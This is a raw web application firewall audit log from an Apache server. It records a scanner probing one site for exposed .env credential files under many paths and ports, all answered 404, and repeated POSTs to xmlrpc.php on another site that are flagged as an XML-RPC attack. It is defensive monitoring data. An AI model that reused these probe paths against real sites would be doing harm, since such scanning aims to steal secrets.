proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040899991699 723885 (- - -) Stopwatch2: 1750040899991699 723885; combined=154082, p1=508, p2=1729, p3=0, p4=0, p5=75966, sr=132, sw=1, l=0, gc=75878 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --270d531a-Z-- --72e4c01d-A-- [16/Jun/2025:07:58:26.658258 +0530] aE-BSokQyF8-ounHsxsNwgAAAA8 185.177.72.210 44100 127.0.0.1 7081 --72e4c01d-B-- GET /workspace/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --72e4c01d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5b8678028de7b04c680f8d6aa0155a901750040906; expires=Mon, 16 Jun 2025 03:28:26 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --72e4c01d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/workspace/.env"] [unique_id "aE-BSokQyF8-ounHsxsNwgAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040906004590 653731 (- - -) Stopwatch2: 1750040906004590 653731; combined=1898, p1=356, p2=1442, p3=0, p4=0, p5=99, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --72e4c01d-Z-- --64259a1c-A-- [16/Jun/2025:07:58:27.742264 +0530] aE-BSwS4XDlCv3KXioQM2QAAAAY 185.177.72.210 44154 127.0.0.1 7081 --64259a1c-B-- GET /:8181/build/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --64259a1c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=76d1533f6dafb710e0620694b8795d911750040907; expires=Mon, 16 Jun 2025 03:28:27 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --64259a1c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/build/.env"] [unique_id "aE-BSwS4XDlCv3KXioQM2QAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040907087932 654428 (- - -) Stopwatch2: 1750040907087932 654428; combined=1705, p1=384, p2=1200, p3=0, p4=0, p5=120, sr=83, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --64259a1c-Z-- --80215631-A-- [16/Jun/2025:07:58:36.683908 +0530] aE-BU7oFnONBt7jRcBycjgAAAA4 128.199.112.101 34626 127.0.0.1 7081 --80215631-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 491 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --80215631-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --80215631-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE-BU7oFnONBt7jRcBycjgAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040915626067 1057914 (- - -) Stopwatch2: 1750040915626067 1057914; combined=2322, p1=379, p2=1494, p3=55, p4=63, p5=207, sr=109, sw=124, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --80215631-Z-- --87ddc51f-A-- [16/Jun/2025:07:58:59.776501 +0530] aE-BaySg0_FUeePR9Z0BOAAAAAE 185.177.72.210 58870 127.0.0.1 7081 --87ddc51f-B-- GET /.env.コピー HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --87ddc51f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b6f03b59512b2c12c7e17e0186fa4acd1750040939; expires=Mon, 16 Jun 2025 03:28:59 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --87ddc51f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.\\\\xe3\\\\x82\\\\xb3\\\\xe3\\\\x83\\\\x94\\\\xe3\\\\x83\\\\xbc"] [unique_id "aE-BaySg0_FUeePR9Z0BOAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040939045137 731473 (- - -) Stopwatch2: 1750040939045137 731473; combined=168242, p1=439, p2=1444, p3=0, p4=0, p5=83243, sr=101, sw=1, l=0, gc=83115 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --87ddc51f-Z-- --c8f53e44-A-- [16/Jun/2025:07:59:08.569755 +0530] aE-Bc0N_xpBAtP8SIP0-awAAAAo 185.177.72.210 36732 127.0.0.1 7081 --c8f53e44-B-- GET /:8080/api/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c8f53e44-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=17a677d897769782e9c2d1b39002d4831750040948; expires=Mon, 16 Jun 2025 03:29:08 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c8f53e44-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/api/.env"] [unique_id "aE-Bc0N_xpBAtP8SIP0-awAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040947889549 680273 (- - -) Stopwatch2: 1750040947889549 680273; combined=1934, p1=357, p2=1486, p3=0, p4=0, p5=91, sr=93, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c8f53e44-Z-- --16de9e62-A-- [16/Jun/2025:07:59:12.791319 +0530] aE-BeOOzMRjUd1ppiI2vFAAAAAQ 185.177.72.210 47722 127.0.0.1 7081 --16de9e62-B-- GET /babel-plugin-dotenv/test/fixtures/default/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --16de9e62-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=bd0a31eff2fd9bd08ab8c94a69c669301750040952; expires=Mon, 16 Jun 2025 03:29:12 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --16de9e62-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/babel-plugin-dotenv/test/fixtures/default/.env"] [unique_id "aE-BeOOzMRjUd1ppiI2vFAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040952132900 658609 (- - -) Stopwatch2: 1750040952132900 658609; combined=2580, p1=469, p2=2023, p3=0, p4=0, p5=88, sr=114, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --16de9e62-Z-- --73a4d037-A-- [16/Jun/2025:07:59:15.514851 +0530] aE-BeroFnONBt7jRcBycqAAAAA4 185.177.72.210 48050 127.0.0.1 7081 --73a4d037-B-- GET /:8008/.env.development HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --73a4d037-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7a136391f19ea9486e0bb48c710efcc71750040955; expires=Mon, 16 Jun 2025 03:29:15 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --73a4d037-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/.env.development"] [unique_id "aE-BeroFnONBt7jRcBycqAAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040954858713 656201 (- - -) Stopwatch2: 1750040954858713 656201; combined=1866, p1=359, p2=1408, p3=0, p4=0, p5=98, sr=87, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --73a4d037-Z-- --f34f6e60-A-- [16/Jun/2025:07:59:18.249719 +0530] aE-BfSSg0_FUeePR9Z0BRgAAAAE 185.177.72.210 48230 127.0.0.1 7081 --f34f6e60-B-- GET /.cer HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f34f6e60-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e8970b86520f15937a025cb7ae9b060e1750040958; expires=Mon, 16 Jun 2025 03:29:18 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f34f6e60-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".cer"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".cer"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/.cer"] [unique_id "aE-BfSSg0_FUeePR9Z0BRgAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040957573714 676069 (- - -) Stopwatch2: 1750040957573714 676069; combined=1772, p1=277, p2=1406, p3=0, p4=0, p5=89, sr=80, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f34f6e60-Z-- --cbd61768-A-- [16/Jun/2025:07:59:25.197784 +0530] aE-BhLoFnONBt7jRcBycrAAAAA4 185.177.72.210 51132 127.0.0.1 7081 --cbd61768-B-- GET /:8008/examples/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --cbd61768-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7ae4a009d78e32011006819d90a210e61750040965; expires=Mon, 16 Jun 2025 03:29:25 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --cbd61768-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/examples/.env"] [unique_id "aE-BhLoFnONBt7jRcBycrAAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040964511106 686764 (- - -) Stopwatch2: 1750040964511106 686764; combined=1858, p1=366, p2=1401, p3=0, p4=0, p5=90, sr=87, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --cbd61768-Z-- --7c2d9c44-A-- [16/Jun/2025:07:59:33.776741 +0530] aE-BjWCnKbldJKSM7awf8gAAAAc 185.177.72.210 34828 127.0.0.1 7081 --7c2d9c44-B-- GET /:5601/en/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7c2d9c44-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=161c52a427d9b09c6515bf87134a78991750040973; expires=Mon, 16 Jun 2025 03:29:33 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7c2d9c44-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/en/.env"] [unique_id "aE-BjWCnKbldJKSM7awf8gAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040973129765 647083 (- - -) Stopwatch2: 1750040973129765 647083; combined=1818, p1=406, p2=1289, p3=0, p4=0, p5=123, sr=118, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7c2d9c44-Z-- --1c870506-A-- [16/Jun/2025:07:59:37.165159 +0530] aE-BkGCnKbldJKSM7awf8wAAAAc 128.199.112.101 34936 127.0.0.1 7081 --1c870506-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 491 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --1c870506-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --1c870506-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE-BkGCnKbldJKSM7awf8wAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040976150646 1014569 (- - -) Stopwatch2: 1750040976150646 1014569; combined=2350, p1=421, p2=1518, p3=44, p4=69, p5=182, sr=142, sw=116, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1c870506-Z-- --6bbf8f62-A-- [16/Jun/2025:07:59:45.982038 +0530] aE-BmeOzMRjUd1ppiI2vJgAAAAQ 185.177.72.210 49900 127.0.0.1 7081 --6bbf8f62-B-- GET /:8000/system/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6bbf8f62-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d7d7af7f2ee496822ef2d30235a2baca1750040985; expires=Mon, 16 Jun 2025 03:29:45 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6bbf8f62-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/system/.env"] [unique_id "aE-BmeOzMRjUd1ppiI2vJgAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040985256281 725853 (- - -) Stopwatch2: 1750040985256281 725853; combined=1900, p1=397, p2=1394, p3=0, p4=0, p5=108, sr=103, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6bbf8f62-Z-- --9fb1a837-A-- [16/Jun/2025:07:59:48.047036 +0530] aE-BmwS4XDlCv3KXioQNBAAAAAY 185.177.72.210 49982 127.0.0.1 7081 --9fb1a837-B-- GET /:5000/app/konfig/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9fb1a837-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ec831c788ca9d5bbc1ca40da338b98391750040987; expires=Mon, 16 Jun 2025 03:29:47 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9fb1a837-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/app/konfig/.env"] [unique_id "aE-BmwS4XDlCv3KXioQNBAAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040987390976 656135 (- - -) Stopwatch2: 1750040987390976 656135; combined=1657, p1=358, p2=1216, p3=0, p4=0, p5=82, sr=88, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9fb1a837-Z-- --d878d312-A-- [16/Jun/2025:07:59:51.357419 +0530] aE-BniSg0_FUeePR9Z0BVAAAAAE 185.177.72.210 55424 127.0.0.1 7081 --d878d312-B-- GET /:8888/.env.4 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d878d312-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: 